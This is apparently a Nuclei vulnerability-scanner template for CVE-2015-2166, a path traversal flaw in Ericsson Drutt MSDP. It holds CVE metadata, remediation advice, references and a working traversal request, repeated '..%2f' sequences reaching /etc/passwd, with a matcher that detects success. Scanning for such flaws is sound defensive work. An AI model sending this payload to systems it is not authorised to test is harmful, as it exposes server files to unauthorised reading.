id: CVE-2015-2166

info:
  name: Ericsson Drutt MSDP - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Ericsson Drutt Mobile Service Delivery Platform (MSDP) 4, 5, and 6 allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the default URI in the Instance Monitor.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the Ericsson Drutt MSDP application.
  reference:
    - https://www.exploit-db.com/exploits/36619
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2166
    - http://packetstormsecurity.com/files/131233/Ericsson-Drutt-MSDP-Instance-Monitor-Directory-Traversal-File-Access.html
    - https://www.exploit-db.com/exploits/36619/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2015-2166
    cwe-id: CWE-22
    epss-score: 0.29639
    epss-percentile: 0.96917
    cpe: cpe:2.3:a:ericsson:drutt_mobile_service_delivery_platform:4.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ericsson
    product: drutt_mobile_service_delivery_platform
  tags: cve2015,cve,lfi,ericsson,edb,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220452706e721a6d595d9ed04b1c048ae055ebad5f311e369a0aac0bac3902c6435022100899c8ae064cf83543c133144940cd109fd41ec402bc04ba26ad766ee7165e6c0:922c64590222798bb761d5b6d8e72950